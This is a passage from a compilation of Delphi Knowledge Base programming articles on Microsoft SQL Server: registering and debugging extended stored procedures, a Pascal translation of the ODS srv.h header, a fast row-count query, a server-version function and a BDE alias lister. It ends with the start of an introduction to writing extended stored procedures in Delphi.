sp_addextendedproc 'xp_DoEncrypt', 'MyEncryptDll.dll'
go
sp_addextendedproc 'xp_DoDecrypt', 'MyEncryptDll.dll'
go
Unregister Xp like this:
use master
go
sp_dropextendedproc 'xp_DoEncrypt'
go
sp_dropextendedproc 'xp_DoDecrypt'
go
Unlock DLL in case it still being used by SQL like this:
use master
go
DBCC MyEncryptDll(FREE)
go
C) In Delphi, select from main menu Run -> Run Parameters.
In the Host Application field, specify a pathname to your SQL Server executable (sqlservr.exe). For SQL 7.0, this is enough. For SQL 2000, in the Parameters field specify a command line parameter "-sYOUR_SQL_NAME", where YOUR_SQL_NAME is the name assigned to your SQL Server during the installation.
Set breakpoints in your Delphi code and run project. SQL Server will start as a console application.
D) You can execute your Xp from Query Analyzer and trace code in Delphi.
NOTE:
Executing an extended stored procedure is done like this:
exec master..xp_DoEncrypt 'ValueToEncrypt','KeyValue'
go
E) To exit application, press Ctrl+Pause in the SQL Server console window.

-------------------------------------------------------
End of article. Bellow follows a unit required for ODS.
-------------------------------------------------------

MsOdsApi.pas (Copy from line below)

unit MsOdsApi;

//------------------------------------------------------------
// Open Data Services header file: srv.h
// Copyright (c) 1989, 1990, 1991, 1997 by Microsoft Corp.
//

// Avoid double inclusion
//#ifndef _ODS_SRV_H_
//  _ODS_SRV_H_

//#include "windows.h"

// ODS uses pack(4) on all CPU types
//#pragma pack(4)

//#ifdef __cplusplus
//extern "C" {
//#endif

// define model
//#if !defined( FAR )
//  FAR far
//#endif

//------------------------------------------------------------
// Formats of data types
//#if !defined(DBTYPEDEFS) // Do not conflict with DBLIB definitions
//#if !defined(MAXNUMERICLEN) // Do not conflict with ODBC definitions

//  DBTYPEDEFS

interface

uses
  Windows;

type
  DBBOOL      = Byte;
  DBBYTE      = Byte;
  DBTINYINT   = Byte;
  DBSMALLINT  = Smallint;
  DBUSMALLINT = Word;
  DBINT       = Longint;
  DBCHAR      = Char;
  PDBCHAR     = ^DBCHAR;
  DBBINARY    = Byte;
  DBBIT       = Byte;
  DBFLT8      = Double;

  srv_datetime = record
    // Format for SRVDATETIME
    dtdays: Longint;  // number of days since 1/1/1900
    dttime: Longword; // number 300th second since mid
  end;
  DBDATETIME = srv_datetime;

  srv_dbdatetime4 = record
    // Format for SRVDATETIM4
    numdays: Word; // number of days since 1/1/1900
    nummins: Word; // number of minutes sicne midnight
  end;
  DBDATETIM4 = srv_dbdatetime4;

  srv_money = record
    // Format for SRVMONEY
    mnyhigh: Longint;
    mnylow : Longword;
  end;
  DBMONEY = srv_money;

  DBFLT4   = Double;
  DBMONEY4 = Longint;

const
  MAXNUMERICDIG     = 38;
  DEFAULTPRECISION  = 19; // 18
  DEFAULTSCALE      = 0;
  MAXNUMERICLEN       = 16;

type
  srv_dbnumeric = packed record
    // Format for SRVNUMERIC,SRVNUMERICN,SRVDECIMAL,SRVDECIMALN
    precision: Byte;
    scale    : Byte;
    sign     : Byte;                               // 1 = Positive, 0 = Negative
    val      : array [0..MAXNUMERICLEN-1] of Byte; // Padded little-endian value
  end;
  DBNUMERIC = srv_dbnumeric;
  DBDECIMAL = DBNUMERIC;

//#endif  // #if !defined(MAXNUMERICLEN)
//#endif  // #if !defined( DBTYPEDEFS )

//------------------------------------------------------------
// Constants used by APIs

// Type Tokens
const
  SRV_TDS_NULL           = $1f;
  SRV_TDS_TEXT           = $23;
  SRV_TDS_GUID           = $24;
  SRV_TDS_VARBINARY      = $25;
  SRV_TDS_INTN           = $26;
  SRV_TDS_VARCHAR        = $27;
  SRV_TDS_BINARY         = $2d;
  SRV_TDS_IMAGE          = $22;
  SRV_TDS_CHAR           = $2f;
  SRV_TDS_INT1           = $30;
  SRV_TDS_BIT            = $32;
  SRV_TDS_INT2           = $34;
  SRV_TDS_DECIMAL        = $37;
  SRV_TDS_INT4           = $38;
  SRV_TDS_DATETIM4       = $3a;
  SRV_TDS_FLT4           = $3b;
  SRV_TDS_MONEY          = $3c;
  SRV_TDS_DATETIME       = $3d;
  SRV_TDS_FLT8           = $3e;
  SRV_TDS_NUMERIC        = $3f;
  SRV_TDS_NTEXT            = $63;
  SRV_TDS_BITN            = $68;
  SRV_TDS_DECIMALN       = $6a;
  SRV_TDS_NUMERICN       = $6c;
  SRV_TDS_FLTN           = $6d;
  SRV_TDS_MONEYN         = $6e;
  SRV_TDS_DATETIMN       = $6f;
  SRV_TDS_MONEY4         = $7a;
  SRV_TDS_INT8           = $7f;  // SQL 2000 and later
  SRV_TDS_BIGVARBINARY   = $A5;
  SRV_TDS_BIGVARCHAR     = $A7;
  SRV_TDS_BIGBINARY      = $AD;
  SRV_TDS_BIGCHAR        = $AF;
  SRV_TDS_NVARCHAR       = $e7;
  SRV_TDS_NCHAR            = $ef;

// Datatypes
// Also: values of symbol parameter to srv_symbol when type = SRV_DATATYPE
  SRVNULL        = SRV_TDS_NULL;
  SRVTEXT        = SRV_TDS_TEXT;
  SRVGUID        = SRV_TDS_GUID;
  SRVVARBINARY   = SRV_TDS_VARBINARY;
  SRVINTN        = SRV_TDS_INTN;
  SRVVARCHAR     = SRV_TDS_VARCHAR;
  SRVBINARY      = SRV_TDS_BINARY;
  SRVIMAGE       = SRV_TDS_IMAGE;
  SRVCHAR        = SRV_TDS_CHAR;
  SRVINT1        = SRV_TDS_INT1;
  SRVBIT         = SRV_TDS_BIT;
  SRVINT2        = SRV_TDS_INT2;
  SRVDECIMAL     = SRV_TDS_DECIMAL;
  SRVINT4        = SRV_TDS_INT4;
  SRVDATETIM4    = SRV_TDS_DATETIM4;
  SRVFLT4        = SRV_TDS_FLT4;
  SRVMONEY       = SRV_TDS_MONEY;
  SRVDATETIME    = SRV_TDS_DATETIME;
  SRVFLT8        = SRV_TDS_FLT8;
  SRVNUMERIC    = SRV_TDS_NUMERIC;
  SRVNTEXT    = SRV_TDS_NTEXT;
  SRVBITN    = SRV_TDS_BITN;
  SRVDECIMALN    = SRV_TDS_DECIMALN;
  SRVNUMERICN    = SRV_TDS_NUMERICN;
  SRVFLTN        = SRV_TDS_FLTN;
  SRVMONEYN      = SRV_TDS_MONEYN;
  SRVDATETIMN    = SRV_TDS_DATETIMN;
  SRVMONEY4      = SRV_TDS_MONEY4;
  SRVINT8        = SRV_TDS_INT8;        // SQL 2000 and later
  SRVBIGVARBINARY = SRV_TDS_BIGVARBINARY;
  SRVBIGVARCHAR  = SRV_TDS_BIGVARCHAR;
  SRVBIGBINARY   = SRV_TDS_BIGBINARY;
  SRVBIGCHAR     = SRV_TDS_BIGCHAR;
  SRVNVARCHAR    = SRV_TDS_NVARCHAR;
  SRVNCHAR    = SRV_TDS_NCHAR;

// values for srv_symbol type parameter
 SRV_ERROR     = 0;
 SRV_DONE      = 1;
 SRV_DATATYPE  = 2;
 SRV_EVENT     = 4;

// values for srv_symbol symbol parameter, when type = SRV_ERROR
  SRV_ENO_OS_ERR    = 0;
  SRV_INFO          = 1;
  SRV_FATAL_PROCESS = 10;
  SRV_FATAL_SERVER  = 19;

// Types of server events
// Also: values for srv_symbol symbol parameter, when type = SRV_EVENT
  SRV_CONTINUE      = 0;
  SRV_LANGUAGE      = 1;
  SRV_CONNECT       = 2;
  SRV_RPC           = 3;
  SRV_RESTART       = 4;
  SRV_DISCONNECT    = 5;
  SRV_ATTENTION     = 6;
  SRV_SLEEP         = 7;
  SRV_START         = 8;
  SRV_STOP          = 9;
  SRV_EXIT          = 10;
  SRV_CANCEL        = 11;
  SRV_SETUP         = 12;
  SRV_CLOSE         = 13;
  SRV_PRACK         = 14;
  SRV_PRERROR       = 15;
  SRV_ATTENTION_ACK = 16;
  SRV_CONNECT_V7    = 16; // TDS type for TDS 7 clients.  Overloaded with SRV_ATTENTION_ACK
  SRV_SKIP       = 17;
  SRV_TRANSMGR       = 18;
  SRV_OLEDB       = 20;
  SRV_INTERNAL_HANDLER    = 99;
  SRV_PROGRAMMER_DEFINED  = 100;

// values for srv_config option parameter
  SRV_CONNECTIONS        = 1;
  SRV_LOGFILE            = 2;
  SRV_STACKSIZE          = 3;
  SRV_REMOTE_ACCESS      = 7;
  SRV_REMOTE_CONNECTIONS = 9;
  SRV_MAX_PACKETS        = 10;
  SRV_MAXWORKINGTHREADS  = 11;
  SRV_MINWORKINGTHREADS  = 12;
  SRV_THREADTIMEOUT    = 13;
  SRV_MAX_PACKETSIZE    = 17;
  SRV_THREADPRIORITY    = 18;
  SRV_ANSI_CODEPAGE    = 19;
  SRV_DEFAULT_PACKETSIZE = 26;
  SRV_PASSTHROUGH    = 27;

// vlaues for srv_config value parameter when option = SRV_THREADPRIORITY
  SRV_PRIORITY_LOW      = THREAD_PRIORITY_LOWEST;
  SRV_PRIORITY_NORMAL   = THREAD_PRIORITY_NORMAL;
  SRV_PRIORITY_HIGH     = THREAD_PRIORITY_HIGHEST;
  SRV_PRIORITY_CRITICAL = THREAD_PRIORITY_TIME_CRITICAL;

// values for srv_sfield field parameter
  SRV_SERVERNAME = 0;
  SRV_VERSION    = 6;

// Length to indicate string is null terminated
  SRV_NULLTERM   = -1;

// values of msgtype parameter to srv_sendmsg
  SRV_MSG_INFO   = 1;
  SRV_MSG_ERROR  = 2;

// values of status parameter to srv_senddone
// Also: values for symbol parameters to srv_symbol when type = SRV_DONE
  SRV_DONE_FINAL     = $0000;
  SRV_DONE_MORE        = $0001;
  SRV_DONE_ERROR     = $0002;
  SRV_DONE_COUNT     = $0010;
  SRV_DONE_RPC_IN_BATCH   = $0080;

// return values of srv_paramstatus
  SRV_PARAMRETURN     = $0001;
  SRV_PARAMDEFAULT        = $0002;

// return values of srv_rpcoptions
  SRV_RECOMPILE           = $0001;
  SRV_NOMETADATA          = $0002;

// values of field parameter to srv_pfield
//  SRV_LANGUAGE 1   already defined above
//  SRV_EVENT    4   already defined above
  SRV_SPID                = 10;
  SRV_NETSPID             = 11;
  SRV_TYPE             = 12;
  SRV_STATUS             = 13;
  SRV_RMTSERVER             = 14;
  SRV_HOST             = 15;
  SRV_USER             = 16;
  SRV_PWD             = 17;
  SRV_CPID             = 18;
  SRV_APPLNAME             = 19;
  SRV_TDS             = 20;
  SRV_CLIB             = 21;
  SRV_LIBVERS             = 22;
  SRV_ROWSENT             = 23;
  SRV_BCPFLAG             = 24;
  SRV_NATLANG             = 25;
  SRV_PIPEHANDLE          = 26;
  SRV_NETWORK_MODULE          = 27;
  SRV_NETWORK_VERSION          = 28;
  SRV_NETWORK_CONNECTION       = 29;
  SRV_LSECURE             = 30;
  SRV_SAXP             = 31;
  SRV_UNICODE_USER          = 33;
  SRV_UNICODE_PWD          = 35;
  SRV_SPROC_CODEPAGE           = 36;

// return value of SRV_TDSVERSION macro
  SRV_TDS_NONE  = 0;
  SRV_TDS_2_0   = 1;
  SRV_TDS_3_4   = 2;
  SRV_TDS_4_2   = 3;
  SRV_TDS_6_0   = 4;
  SRV_TDS_7_0   = 5;

// Return values from APIs
type
 SRVRETCODE = Integer;        // SUCCEED or FAIL
 RETCODE    = Integer;

const
  SUCCEED = 1;   // Successful return value
  FAIL    = 0;   // Unsuccessful return value

  SRV_DUPLICATE_HANDLER   = 2;   // additional return value for srv_pre/post_handle

//------------------------------------------------
//PreDeclare structures
//
{struct srv_server;
typedef struct srv_server SRV_SERVER;

struct srv_config;
typedef struct srv_config SRV_CONFIG;

struct srv_proc;
typedef struct srv_proc SRV_PROC;}
type
  SRV_SERVER = Pointer;
  SRV_CONFIG = Pointer;
  SRV_PROC   = Pointer;

//------------------------------------------------
//------------------------------------------------
// ODS MACROs & APIs

// Describing and sending a result set
function srv_describe(srvproc: SRV_PROC;
  colnumber: Integer; column_name: PCHAR; namelen: Integer;
  desttype, destlen, srctype, srclen: Integer; srcData: Pointer
): Integer; cdecl;

function srv_setutype(srvproc: SRV_PROC; column: Integer; usertype: Longint): Integer; cdecl;
function srv_setcoldata(srvproc: SRV_PROC; column: Integer; data: Pointer): Integer; cdecl;
function srv_setcollen(srvproc: SRV_PROC; column, len: Integer): Integer; cdecl;
function srv_sendrow(srvproc: SRV_PROC): Integer; cdecl;
function srv_senddone(srvproc: SRV_PROC; status, curcmd: Word; count: Longint): Integer; cdecl;

// Dealing with Extended Procedure parameters
function srv_rpcparams(srvproc: SRV_PROC): Integer; cdecl;
function srv_paraminfo(srvproc: SRV_PROC; n: Integer; pbType: PByte;
  pcbMaxLen, pcbActualLen: PULONG; pbData: PByte; pfNull: PBOOL): Integer; cdecl;
function srv_paramsetoutput(srvproc: SRV_PROC;
  n: Integer; pbData: PByte; cbLen: ULONG; fNull: BOOL): Integer; cdecl;

function srv_paramdata(srvproc: SRV_PROC; n: Integer): Pointer; cdecl;
function srv_paramlen(srvproc: SRV_PROC; n: Integer): Integer; cdecl;
function srv_parammaxlen(srvproc: SRV_PROC; n: Integer): Integer; cdecl;
function srv_paramtype(srvproc: SRV_PROC; n: Integer): Integer; cdecl;
function srv_paramset(srvproc: SRV_PROC; n: Integer; data: Pointer; int: Integer): Integer; cdecl;

function srv_paramname(srvproc: SRV_PROC; n: Integer; var len: Integer): PChar; cdecl;
function srv_paramnumber(srvproc: SRV_PROC; name: PChar; namelen: Integer): Integer; cdecl;

//--------------------------------------------------------------
//--------------------------------------------------------------
// The rest of these APIs are still supported, in SQL Server 7.0,
// but may not be supported after SQL Server 7.0

// MACROs
{  SRV_GETCONFIG(a)      srv_getconfig     ( a )
  SRV_GETSERVER(a)      srv_getserver     ( a )
  SRV_GOT_ATTENTION(a)   srv_got_attention ( a )
SRV_EVENTDATA(a)      srv_eventdata     ( a )
SRV_IODEAD(a)         srv_iodead        ( a )
SRV_TDSVERSION(a)      srv_tdsversion     ( a )}

function srv_getconfig(server: SRV_SERVER): SRV_CONFIG; cdecl;
function srv_getserver(srvproc: SRV_PROC): SRV_SERVER; cdecl;
function srv_got_attention(srvproc: SRV_PROC): Bool; cdecl;
function srv_eventdata(srvproc: SRV_PROC): Pointer; cdecl;

// Memory
function srv_alloc(ulSize: Longint): Pointer; cdecl;
function srv_bmove(from: Pointer; pto: Pointer; count: Longint): Integer; cdecl;
function srv_bzero(location: Pointer; count: Longint): Integer; cdecl;
function srv_free(ptr: Pointer): Integer; cdecl;

function srv_config_fn(config: SRV_CONFIG; option: Longint; value: PChar; valuelen: Integer): Integer; cdecl;
function srv_config_alloc: SRV_CONFIG; cdecl;
function srv_convert(srvproc: SRV_PROC; srctype: Integer; src: Pointer; srclen: DBINT;
  desttype: Integer; dest: Pointer; destlen: DBINT): Integer; cdecl;
{
int (*  srv_errhandle(int (* handler)(SRV_SERVER * server,
     SRV_PROC   * srvproc,
     int         srverror,
     BYTE           severity,
     BYTE           state,
     int         oserrnum,
     char     * errtext,
     int         errtextlen,
     char     * oserrtext,
     int         oserrtextlen)))
   ( SRV_SERVER * server,
    SRV_PROC   * srvproc,
    int        srverror,
    BYTE          severity,
    BYTE          state,
    int        oserrnum,
    char     * errtext,
    int        errtextlen,
    char     * oserrtext,
    int        oserrtextlen );
}
function srv_event_fn(srvproc: SRV_PROC; event: Integer; data: PByte): Integer; cdecl;
function srv_getuserdata(srvproc: SRV_PROC): Pointer; cdecl;
function srv_getbindtoken(srvproc: SRV_PROC; token_buf: PChar): Integer; cdecl;
function srv_getdtcxact(srvproc: SRV_PROC; ppv: Pointer): Integer; cdecl;

//typedef int (* EventHandler)(void*);
type
  EventHandler = Pointer;
function srv_handle(server: SRV_SERVER; int: Longint; handler: EventHandler): EventHandler; cdecl;

function srv_impersonate_client(srvproc: SRV_PROC): Integer; cdecl;
function srv_init(config: SRV_CONFIG; connectname: PChar; namelen: Integer): SRV_SERVER; cdecl;
function srv_iodead(srvproc: SRV_PROC): Bool; cdecl;

function srv_langcpy(srvproc: SRV_PROC; start, nbytes: Longint; buffer: PChar): Longint; cdecl;
function srv_langlen(srvproc: SRV_PROC): Longint; cdecl;
function srv_langptr(srvproc: SRV_PROC): Pointer; cdecl;

function srv_log(server: SRV_SERVER; datestamp: Bool; msg: PChar; msglen: Integer): Integer; cdecl;
function srv_paramstatus(srvproc: SRV_PROC; n: Integer): Integer; cdecl;
function srv_pfield(srvproc: SRV_PROC; field: Integer; len: PInteger): PChar; cdecl;

function srv_returnval(srvproc: SRV_PROC; value_name: PDBCHAR; len: Integer; status: Byte;
  iType, maxlen, datalen: DBINT; value: PByte): Integer; cdecl;

function srv_revert_to_self(srvproc: SRV_PROC): Integer; cdecl;

function srv_rpcdb(srvproc: SRV_PROC; len: PInteger): PChar; cdecl;
function srv_rpcname(srvproc: SRV_PROC; len: PInteger): PChar; cdecl;
function srv_rpcnumber(srvproc: SRV_PROC): Integer; cdecl;
function srv_rpcoptions(srvproc: SRV_PROC): Word; cdecl;
function srv_rpcowner(srvproc: SRV_PROC; len: PInteger): PChar; cdecl;

function srv_run(server: SRV_SERVER): Integer; cdecl;

function srv_sendmsg(srvproc: SRV_PROC;
  msgtype: Integer; msgnum: DBINT; msgClass, state: DBTINYINT;
  rpcname: PChar; rpcnamelen: Integer;
  linenum: Word; msg: PChar; msglen: Integer): Integer; cdecl;

function srv_ansi_sendmsg(srvproc: SRV_PROC;
  msgtype: Integer; msgnum: DBINT; msgClass, state: DBTINYINT;
  rpcname: PChar; rpcnamelen: Integer;
  linenum: Word; msg: PChar; msglen: Integer): Integer; cdecl;

function srv_sendstatus(srvproc: SRV_PROC; status: Longint): Integer; cdecl;
function srv_setuserdata(srvproc: SRV_PROC; ptr: Pointer): Integer; cdecl;
function srv_sfield(server: SRV_SERVER; field: Integer; len: PInteger): PChar; cdecl;
function srv_symbol(iType, symbol: Integer; len: PInteger): PChar; cdecl;
function srv_tdsversion(srvproc: SRV_PROC): Integer; cdecl;
function srv_writebuf(srvproc: SRV_PROC; ptr: Pointer; count: Word): Integer; cdecl;
function srv_willconvert(srctype, desttype: Integer): Bool; cdecl;
procedure srv_ackattention(srvproc: SRV_PROC); cdecl;
function srv_terminatethread(srvproc: SRV_PROC): Integer; cdecl;
function srv_sendstatistics(srvproc: SRV_PROC): Integer; cdecl;
function srv_clearstatistics(srvproc: SRV_PROC): Integer; cdecl;
function srv_setevent(server: SRV_SERVER; event: Integer): Integer; cdecl;
function srv_message_handler(srvproc: SRV_PROC;
  errornum: Integer; severity, state: Byte; oserrnum: Integer; errtext: PChar;
  errtextlen: Integer; oserrtext: PChar; oserrtextlen: Integer): Integer; cdecl;

function srv_pre_handle(server: SRV_SERVER; srvproc: SRV_PROC;
                   event: Longint; handler: EventHandler;  remove: Bool): Integer; cdecl;
function srv_post_handle(server: SRV_SERVER; srvproc: SRV_PROC;
                   event: Longint; handler: EventHandler;  remove: Bool): Integer; cdecl;

function srv_post_completion_queue(srvproc: SRV_PROC; inbuf: PChar; inbuflen: PChar): Integer; cdecl;
function srv_IgnoreAnsiToOem(srvproc: SRV_PROC; bTF: BOOL): Integer; cdecl;

//#ifdef __cplusplus
//}
//#endif

//#pragma pack()

const
  SS_MAJOR_VERSION   = 7;
  SS_MINOR_VERSION   = 00;
  SS_LEVEL_VERSION   = 0000;
  SS_MINIMUM_VERSION = '7.00.00.0000';
  ODS_VERSION        = ((SS_MAJOR_VERSION shl 24) or (SS_MINOR_VERSION shl 16));

//#endif //_ODS_SRV_H_

//////////////////////////////////////////////////////////////////
// Suggested implementation of __GetXpVersion
//
//__declspec(dllexport) ULONG __GetXpVersion()
//   {
//   return ODS_VERSION;
//   }
//////////////////////////////////////////////////////////////////

implementation

const
  sLibName = 'Opends60.DLL';

function srv_describe;                  external sLibName name 'srv_describe';
function srv_setutype;                  external sLibName name 'srv_setutype';
function srv_setcoldata;                external sLibName name 'srv_setcoldata';
function srv_setcollen;                 external sLibName name 'srv_setcollen';
function srv_sendrow;                   external sLibName name 'srv_sendrow';
function srv_senddone;                  external sLibName name 'srv_senddone';

// Dealing with Extended Procedure parameters
function srv_rpcparams;                 external sLibName name 'srv_rpcparams';
function srv_paraminfo;                 external sLibName name 'srv_paraminfo';
function srv_paramsetoutput;            external sLibName name 'srv_paramsetoutput';

function srv_paramdata;                 external sLibName name 'srv_paramdata';
function srv_paramlen;                  external sLibName name 'srv_paramlen';
function srv_parammaxlen;               external sLibName name 'srv_parammaxlen';
function srv_paramtype;                 external sLibName name 'srv_paramtype';
function srv_paramset;                  external sLibName name 'srv_paramset';

function srv_paramname;                 external sLibName name 'srv_paramname';
function srv_paramnumber;               external sLibName name 'srv_paramnumber';

//--------------------------------------------------------------
// The rest of these APIs are still supported, in SQL Server 7.0,
// but may not be supported after SQL Server 7.0

function srv_getconfig;                 external sLibName name 'srv_getconfig';
function srv_getserver;                 external sLibName name 'srv_getserver';
function srv_got_attention;             external sLibName name 'srv_got_attention';
function srv_eventdata;                 external sLibName name 'srv_eventdata';

// Memory
function srv_alloc;                     external sLibName name 'srv_alloc';
function srv_bmove;                     external sLibName name 'srv_bmove';
function srv_bzero;                     external sLibName name 'srv_bzero';
function srv_free;                      external sLibName name 'srv_free';

function srv_config_fn;                 external sLibName name 'srv_config';
function srv_config_alloc;              external sLibName name 'srv_config_alloc';
function srv_convert;                   external sLibName name 'srv_convert';
function srv_event_fn;                  external sLibName name 'srv_event';
function srv_getuserdata;               external sLibName name 'srv_getuserdata';
function srv_getbindtoken;              external sLibName name 'srv_getbindtoken';
function srv_getdtcxact;                external sLibName name 'srv_getdtcxact';
function srv_handle;                    external sLibName name 'srv_handle';
function srv_impersonate_client;        external sLibName name 'srv_impersonate_client';
function srv_init;                      external sLibName name 'srv_init';
function srv_iodead;                    external sLibName name 'srv_iodead';
function srv_langcpy;                   external sLibName name 'srv_langcpy';
function srv_langlen;                   external sLibName name 'srv_langlen';
function srv_langptr;                   external sLibName name 'srv_langptr';
function srv_log;                       external sLibName name 'srv_log';
function srv_paramstatus;               external sLibName name 'srv_paramstatus';
function srv_pfield;                    external sLibName name 'srv_pfield';
function srv_returnval;                 external sLibName name 'srv_returnval';
function srv_revert_to_self;            external sLibName name 'srv_revert_to_self';

function srv_rpcdb;                     external sLibName name 'srv_rpcdb';
function srv_rpcname;                   external sLibName name 'srv_rpcname';
function srv_rpcnumber;                 external sLibName name 'srv_rpcnumber';
function srv_rpcoptions;                external sLibName name 'srv_rpcoptions';
function srv_rpcowner;                  external sLibName name 'srv_rpcowner';

function srv_run;                       external sLibName name 'srv_run';

function srv_sendmsg;                   external sLibName name 'srv_sendmsg';
function srv_ansi_sendmsg;              external sLibName name 'srv_ansi_sendmsg';

function srv_sendstatus;                external sLibName name 'srv_sendstatus';
function srv_setuserdata;               external sLibName name 'srv_setuserdata';
function srv_sfield;                    external sLibName name 'srv_sfield';
function srv_symbol;                    external sLibName name 'srv_symbol';
function srv_tdsversion;                external sLibName name 'srv_tdsversion';
function srv_writebuf;                  external sLibName name 'srv_writebuf';
function srv_willconvert;               external sLibName name 'srv_willconvert';
procedure srv_ackattention;             external sLibName name 'srv_ackattention';
function srv_terminatethread;           external sLibName name 'srv_terminatethread';
function srv_sendstatistics;            external sLibName name 'srv_sendstatistics';
function srv_clearstatistics;           external sLibName name 'srv_clearstatistics';
function srv_setevent;                  external sLibName name 'srv_setevent';
function srv_message_handler;           external sLibName name 'srv_message_handler';

function srv_pre_handle;                external sLibName name 'srv_pre_handle';
function srv_post_handle;               external sLibName name 'srv_post_handle';
function srv_post_completion_queue;     external sLibName name 'srv_post_completion_queue';
function srv_IgnoreAnsiToOem;           external sLibName name 'srv_IgnoreAnsiToOem';

end.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Самый быстрый способ узнать количество записей в таблице

When using the standard dataset.recordcount in my client-server (win nt against sqlserver7 db, targettable has 500.000 records) i can go for lunch and stil be waiting (:-

Answer:

For those of you who don't know why u should not use the standard dataset.recordcount when developing client server database applications.
This article is especialy for those cs db apps against a sqlserver 7 db.

since the standard dataset.recordcount iterates from begin of the table through the end of the table to result in the recordcount. This is a crime when developing cs db apps (against sqlserver7).

simply use another way of obtaining the number of records. I use a sql for obtaining the number of records in a sqlserver table.

drop a tquery on the form

provide this tquery with the follow SQL:

SQL:

select distinct max(itbl.rows)
from sysindexes as itbl
inner join sysobjects as otbl on (itbl.id = otbl.id)
where (otbl.type = 'U') and (otbl.name = :parTableName)

notice the parameter: parTableName type string

use this tquery to find out how many rows in the table

TIP: try to make your own tYourSqlServerCountQuery and thus override the recordcount property.
ByTheWay: use this only for sqlserver

for other cs db apps simply use a count sql (coming upnext time...)
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как узнать версию сервера?

This function gets the connected MS SQL Server version. It returns the version info in 3 OUT parameters.

VerNum : double eg. 7.00623
VerStrShort : string eg. '7.00.623'
VerStrLong : string eg. 'Microsoft SQL Server 7.00 - 7.00.623 (Intel X86) Nov 27 1998 22:20:07 Copyright (c) 1988-1998 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 1)'

I have tested it with MSSQL 7 and MSSQL 2000. I assume it should work for the others. Any feedback and fixes for different versions would be appreciated.

The TQuery parameter that it recieves is a TQuery component that is connected to an open database connection.

procedure GetSqlVersion(Query: TQuery;
  out VerNum: double;
  out VerStrShort: string;
  out VerStrLong: string);
var
  sTmp, sValue: string;
  i: integer;
begin
  // @@Version does not return a Cursor.
  // Read the value from the Record Buffer
  // Can be used to read all sys functions from MS Sql
  sValue := '';
  Query.SQL.Text := 'select @@Version';
  Query.Open;
  SetLength(sValue, Query.RecordSize + 1);
  Query.GetCurrentRecord(PChar(sValue));
  SetLength(sValue, StrLen(PChar(sValue)));
  Query.Close;

  if sValue <> '' then
    VerStrLong := sValue
  else
  begin
    // Don't know this version
    VerStrLong := '?';
    VerNum := 0.0;
    VerStrShort := '?.?.?.?';
  end;

  if VerStrLong <> '' then
  begin
    sTmp := trim(copy(VerStrLong, pos('-', VerStrLong) + 1, 1024));
    VerStrShort := copy(sTmp, 1, pos(' ', sTmp) - 1);
    sTmp := copy(VerStrShort, 1, pos('.', VerStrShort));

    for i := length(sTmp) + 1 to length(VerStrShort) do
    begin
      if VerStrShort[i] <> '.' then
        sTmp := sTmp + VerStrShort[i];
    end;

    VerNum := StrToFloat(sTmp);
  end;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как найти все Alias, укакзывающие на MS SQL Server?

GetAliases(ComboBox1.Items)

procedure GetAliases(const AList: TStrings);
var
  i: Integer;
  Desc: DBDesc;
  Buff: array[0..254] of char;
begin
  // list all BDE aliases
  Session.GetAliasNames(AList);
  for i := AList.Count - 1 downto 0 do
  begin
    StrPCopy(Buff, AList[i]);
    Check(DbiGetDatabaseDesc(Buff, @Desc));
    // no Paradox, please
    if StrPas(Desc.szDBType) = 'STANDARD' then
      AList.Delete(i)
  end
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Разработка внешних Stored Procedures

Answer:

Writing MS SQL Server Extended Stored Procedures with Delphi

Microsoft SQL Server 6.5 and 7 have the powerful capability to make functions in DLL's available as stored procedures. Microsoft calls them Extended Stored Procedures. If you've read this article, you know what Extended Stored Procedures are, what you can do with them, and how to install them on a SQL Server. You should also be able to use the object-oriented framework I wrote, which makes writing Extended Stored Procedures with Delphi extremely easy.

I assume you are familiar with SQL Server and with the concept of stored procedures. The code and examples in this article apply both to SQL Server 6.5 and SQL Server 7.

What are Extended Stored Procedures?

Extended Stored Procedures (called xp's afterwards) are part of Microsoft's Open Data Services (ODS) for SQL Server. With ODS you can do three things:

1. Making routines in a DLL available as stored procedures to any SQL Server user.
2. Write procedure server applications. They are similar to xp's, however they run as a separate network server application and could even be running on a different machine (3-tier).
3. Writing gateways to non-SQL Server based environments.

In the following figure a graphical overview of the ODS architecture is given.

In this article I discuss the art of writing stored procedures with Delphi. Technically this DLL is part of SQL server, therefore programmer errors may corrupt your SQL Server, so it's not an art without danger.

Making parts of your application available on the server has some advantages, for example:

1. Some things are easy to write in Delphi, but difficult or impossible using Transact SQL. For example you might use some routines written in a language you don't understand or don't have the source code for, so you can't translate it to Transact SQL (with the possibility of errors creeping in during this translation).
2. Delphi routines run much faster than Transact SQL. Take for example numerical calculations.
3. You can interface with other programs, databases and such. For example you could write an xp that accepts the name of a paradox table and returns the contents of this table as a SQL Server result set.

Xp's live in DLL's and can therefore be written in any language which can produce DLL's like Delphi can. Before going into detail about how to write xp's, first some examples from a user's point of view. Let's assume we have an xp called xp_incbyone1 which increments a given number by one. We can call xp_incbyone1 as followings:

declare
     @mynumber integer
   select @mynumber = 1
   exec master..xp_incbyone1 @mynumber output
   select @mynumber

The declare statement declares a variable @mynumber of type integer. Next we set it to one, pass it to the xp and allow the xp to modify it by appending output to the parameter. Finally we display the number with a select statement to see if it has been updated. The result should be 2 of course.

In this example we have an xp which returns an output parameter. Xp's can also return a result set. The example xp_incbyone2 returns the number as a result set. The code to call it would be:

   declare
    @mynumber integer

   select @mynumber = 1

   exec master..xp_incbyone2 @mynumber

xp_incbyone2 will return a table of just one column and one row containing the value 1.

Both xp_incbyone1 and xp_incbyone2 are described in detail in the next section where I present the framework.

As you see, for users extended stored procedures work exactly like stored procedures. Just like stored procedures, extended stored procedures can return parameters and/or result sets.

Each implementation of an xp needs to do the same things:

1. Check that the caller of the procedure has provided all of the required parameters and that each parameter is of the appropriate data type. Return an appropriate message if not.
2. Define the columns for returning a result set.
3. Create each record for returning to the caller.
4. Set up any output parameters and return statuses used by the procedure.
5. When finished returning results, send the results completion message using srv_senddone with the SRV_DONE_MORE status flag.
6. Return from the procedure with the desired Transact-SQL return status.

Step 1 is necessary because, unless normal stored procedures, it is up to the programmer to validate any user-specified parameters for xp's. Step 2 and 3 are optional, and are applicable only if you return a result set. Step 4 is also optional, and applies only if you return output parameters.

Writing xp's with Delphi

